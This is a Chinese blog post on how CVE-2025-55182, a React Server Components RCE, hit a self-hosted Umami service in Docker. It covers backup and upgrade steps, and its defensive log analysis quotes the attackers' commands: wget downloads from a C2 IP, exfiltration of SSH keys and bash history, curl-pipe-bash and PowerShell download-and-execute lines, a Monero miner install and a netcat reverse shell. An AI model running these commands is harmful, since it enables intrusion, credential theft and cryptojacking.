React RCE 漏洞影响自建 Umami 服务 —— 记 CVE-2025-55182

本文地址:blog.cosine.ren/post/react-...

我对安全方面的知识很少,本文大部分可能有很多错漏,如有错漏希望能指出。

2025 年 12 月 3 日,React 发布了一个堪比当年 Log4j 的严重安全漏洞 :CVE-2025-55182,CVSS 评分 10.0 满分

这是 React 历史上最严重的漏洞之一,允许未经身份验证的远程代码执行(Unauthenticated RCE)。

刚收到安全通告,我就马上更新了所有已知的 Next.js 和 React 应用,以为这些应该没事儿了。

结果今天突然发现自建的 Umami 服务 504 了才想起来,沃日,它是 Nextjs 写的啊!!

虽然是在 docker 里跑的,并且炸的是我一个不常用的服务器,最大的损失是 CPU 占用率突然飙到 100% 了一段时间,统计数据丢了不少,密码什么的都是随机生成的,换就好了。

随便找了一篇博客看看别人的情况:

juejin.cn/post/758037...

解决方案

先把最终的解决方案放到最前面。

升级 Umami,首先使用 pg_dump 备份 Umami 的 PostgreSQL 数据库。这里有几种方法:

bash 复制代码
# 备份到当前目录
docker exec umami-db-1 pg_dump -U umami umami > umami_backup_$(date +%Y%m%d_%H%M%S).sql

# 或者备份到指定目录
docker exec umami-db-1 pg_dump -U umami umami > ~/backups/umami_$(date +%Y%m%d).sql

然后,因为我是 docker-compose 部署的,直接:

bash 复制代码
docker compose pull
docker compose up --force-recreate -d

就可以了,查看容器日志中的 Next.js 已经是 15.5.7 版本。

如果你数据库使用的是 mysql 的话,那不要升 3,看官方的迁移教程

docs.umami.is/docs/guides...

漏洞背景

www.cve.org/CVERecord?i...

  • CVE 编号: CVE-2025-55182
  • CVSS 评分: 10.0 / 10.0(Critical)
  • 漏洞类型: 未经身份验证的远程代码执行(Unauthenticated RCE)
  • 披露时间: 2025 年 12 月 3 日
  • 官方公告 : React Blog

受影响的版本

React 核心包(19.x 版本):

19.0, 19.1.0, 19.1.1 和 19.2.0

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

受影响的框架:

  • Next.js: 14.3.0-canary.77 及之后的版本,15.x, 16.x 全都需要升到最新版本
  • React Router: 使用 unstable RSC APIs 的版本
  • Waku: 使用 RSC 的版本
  • Expo: 使用 RSC 的版本
  • Redwood SDK: < 1.0.0-alpha.0

漏洞原理

React Server Functions 允许客户端调用服务器上的函数。React 将客户端请求转换为 HTTP 请求发送到服务器,在服务器端 React 再将 HTTP 请求反序列化为函数调用。

关键问题 :攻击者可以构造恶意的 HTTP 请求到任何 React Server Function 端点,当 React 反序列化这些 payload 时,会触发任意代码执行

javascript 复制代码
// 简化的漏洞示意(实际更复杂)
// 服务器端的 React Server Function 处理
function handleServerFunctionRequest(payload) {
  // ❌ 危险:直接反序列化未验证的 payload
  const deserializedData = deserialize(payload);

  // 如果 payload 被精心构造,这里可能执行任意代码
  return executeFunction(deserializedData);
}

关键威胁

  • 无需身份验证(Unauthenticated)
  • 远程代码执行(RCE)
  • 即使没有定义任何 Server Function,只要使用了 React Server Components 就有风险

攻击手段

既然攻击都已经攻击了,那不如趁机让 AI 分析容器日志,借此机会深入分析一下攻击者到底想干什么。

以下攻击手段汇总等,全为 Claude Sonnet 4.5 根据日志文件进行分析得出的总结,如有错漏,还请指出。

攻击入口:React Server Components RCE

从日志中可以看到大量的 NEXT_REDIRECT 错误:

bash 复制代码
 ⨯ Error: NEXT_REDIRECT
    at Object.eval [as then] (node_modules/next/dist/compiled/next-server/app-page.runtime.prod.js:92:34014) {
  digest: '12334\nMEOWWWWWWWWW'
}

这是漏洞利用的标志性特征

  • digest: '12334\nMEOWWWWWWWWW' - 这不是正常的错误摘要
  • 攻击者通过构造恶意 payload 触发 React Server Components 的反序列化漏洞
  • 每次 NEXT_REDIRECT 错误后都跟着一系列的系统命令执行尝试

漏洞利用与初始访问

攻击者首先利用 CVE-2025-55182 获得代码执行能力,然后立即尝试下载后门程序:

bash 复制代码
Connecting to 193.34.213.150 (193.34.213.150:80)
wget: can't open 'x86': Permission denied
chmod: x86: No such file or directory
/bin/sh: ./x86: not found

攻击流程

  1. 向 React Server Function 端点发送恶意 payload
  2. 触发反序列化漏洞,执行 wget 命令
  3. 尝试从 C&C 服务器下载 x86 恶意程序(一个 Linux ELF 二进制文件)
  4. 尝试赋予执行权限并运行

如果成功会怎样?

bash 复制代码
# 攻击者想做的事情(被阻止了)
wget http://193.34.213.150/x86
chmod +x x86
./x86  # 这会安装一个后门程序

凭证窃取

攻击者想要窃取所有有价值的凭证:

bash 复制代码
# 尝试 1:窃取 SSH 私钥
Connecting to 23.19.231.97:36169 (23.19.231.97:36169)
wget: can't open '/root/.ssh/id_rsa': Permission denied
wget --post-file=/root/.ssh/id_rsa http://23.19.231.97:36169/222

# 尝试 2:窃取 ECDSA 私钥
wget --post-file=/root/.ssh/id_ecdsa http://23.19.231.97:47023/222

# 尝试 3:窃取命令历史(可能包含密码)
cat: can't open '/root/.bash_history': Permission denied
wget --post-data="$(cat /root/.bash_history)" http://23.19.231.97:44719/222

这是整个攻击中最恶毒的部分

  • SSH 私钥可以让攻击者横向移动到其他服务器
  • .bash_history 可能包含:
    • 数据库密码
    • API 密钥
    • 云服务凭证(AWS、GCP 等)
    • 内部系统地址

持久化后门

攻击者尝试建立多个后门以保持访问:

bash 复制代码
# 伪装成健康检查脚本
sh: can't create /dev/health.sh: Permission denied
chmod: /dev/health.sh: No such file or directory

# 尝试从多个源下载恶意脚本
(curl -s -k https://repositorylinux.xyz/cron.sh || \
 wget --no-check-certificate -q -O- https://repositorylinux.xyz/cron.sh) | bash

# Windows PowerShell 编码命令(自动化脚本)
powershell -EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAC4ALgAu

解码 PowerShell 命令

powershell 复制代码
# Base64 解码后的内容
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://repositorylinux.xyz/script_kill.ps1')

这是一个跨平台攻击:同时尝试 Linux (bash) 和 Windows (PowerShell) 命令。

加密货币挖矿

最耗资源的部分 - 这就是 CPU 飙到 100% 的原因:

bash 复制代码
# C3Pool 挖矿池安装脚本
curl -sLk https://gist.githubusercontent.com/demonic-agents/39e943f4de855e2aef12f34324cbf150/raw/e767e1cef1c35738689ba4df9c6f7f29a6afba1a/setup_c3pool_miner.sh | \
bash -s 49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKkXERKUB7pXqBHfK1CcjLtMMnTF3J12KZJ83EQCBjT75Stbv

# XMRig Monero 挖矿程序
powershell -EncodedCommand [Base64 encoded mining script]

挖矿攻击特征

  • 钱包地址:49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKk...(Monero)
  • 矿池:C3Pool
  • 这会消耗所有 CPU 资源,导致:- 服务响应缓慢 - 服务器宕机 - 云服务账单暴增 (还好是自己服务器)

反向 Shell

尝试建立远程控制:

bash 复制代码
rm: can't remove '/tmp/f': No such file or directory
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 171.252.32.135 7700 >/tmp/f

反向 Shell 技术分析

bash 复制代码
# 这是一个经典的命名管道反向 shell
mkfifo /tmp/f              # 创建命名管道
cat /tmp/f | bash -i 2>&1  # 从管道读取命令并执行
| nc 171.252.32.135 7700   # 通过 netcat 连接到 C&C 服务器
>/tmp/f                    # 将输出写回管道

如果成功,攻击者就可以:

  • 实时控制服务器
  • 执行任意命令
  • 窃取实时数据
  • 作为跳板攻击内网

攻击指标(IoC)汇总

类型 用途
恶意 IP 193.34.213.150 恶意软件分发
恶意 IP 23.19.231.97 数据窃取服务器
恶意 IP 89.144.31.18 备用恶意服务器
恶意 IP 171.252.32.135 反向 Shell C2
恶意域名 repositorylinux.xyz 脚本分发
恶意域名 dashboard.checkstauts.site 监控代理
GitHub Gist demonic-agents/39e943f4... 挖矿脚本

恶意 IP 地址

IP 地址 用途 威胁等级
193.34.213.150 恶意软件分发(x86 二进制文件) 🔴 Critical
23.19.231.97 数据窃取服务器(SSH 密钥、历史记录) 🔴 Critical
89.144.31.18 备用恶意服务器 🟠 High
171.252.32.135 反向 Shell C&C 服务器 🔴 Critical

恶意域名

域名 用途 威胁等级
repositorylinux.xyz 恶意脚本分发(cron.sh, linux.sh, firewall.sh 🔴 Critical
dashboard.checkstauts.site 监控代理/数据收集 🟠 High

恶意资源

资源 类型 用途
github.com/demonic-agents/39e943f4... GitHub Gist C3Pool 挖矿脚本
49Cf4UaH5mVF2QCBRECpwSWV1C6h... Monero 钱包 挖矿收益地址

为什么所有攻击都失败了?

因为还好是 Docker 跑的,Docker 容器权限隔离,我的 Umami 容器:

  • 非 root 用户运行,无法写入系统目录
  • 只读文件系统,无法创建恶意文件
  • 丢弃所有 Linux Capabilities
  • 禁止提权操作
bash 复制代码
Permission denied (重复 100+ 次)

几乎所有攻击操作都遇到了权限拒绝:

  • 无法写入 /root/.ssh/
  • 无法在 /dev/ 创建文件
  • 无法在 /tmp/ 创建管道
  • 无法执行下载的二进制文件
bash 复制代码
/bin/sh: bash: not found
/bin/sh: powershell: not found
spawn calc.exe ENOENT

容器是最小化镜像,不包含 bash,这导致许多攻击脚本无法执行。

参考资料

相关推荐
ConardLi1 小时前
分析了 100 万亿 Token 后,得出的几个关于 AI 的真相
前端·人工智能·后端
阿珊和她的猫1 小时前
UTF - 8 编码在 HTML 中的重要性
前端·html
加油乐1 小时前
css及js实现正反面翻转
前端·javascript·css
恶猫2 小时前
抖音直播时,飘窗提示的html窗口,主播不在,正在喝9
前端·html·直播·抖音·素材
霁月的小屋2 小时前
Vue组件通信全攻略:从基础语法到实战选型
前端·javascript·vue.js
腾讯云云开发2 小时前
【你可能不知道的开发技巧】一行代码完成小程序的CloudBase鉴权登录
前端·后端·微信小程序
Micro麦可乐2 小时前
前端真的能防录屏?EME(加密媒体扩展) DRM 反录屏原理 + 实战代码
前端·媒体·eme·drm·前端防盗录
一 乐2 小时前
校园社区系统|基于java+vue的校园悬赏任务平台系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot
晚霞的不甘2 小时前
华为云 DevUI 实战开发指南:构建现代化前端应用的最佳实践
前端·华为云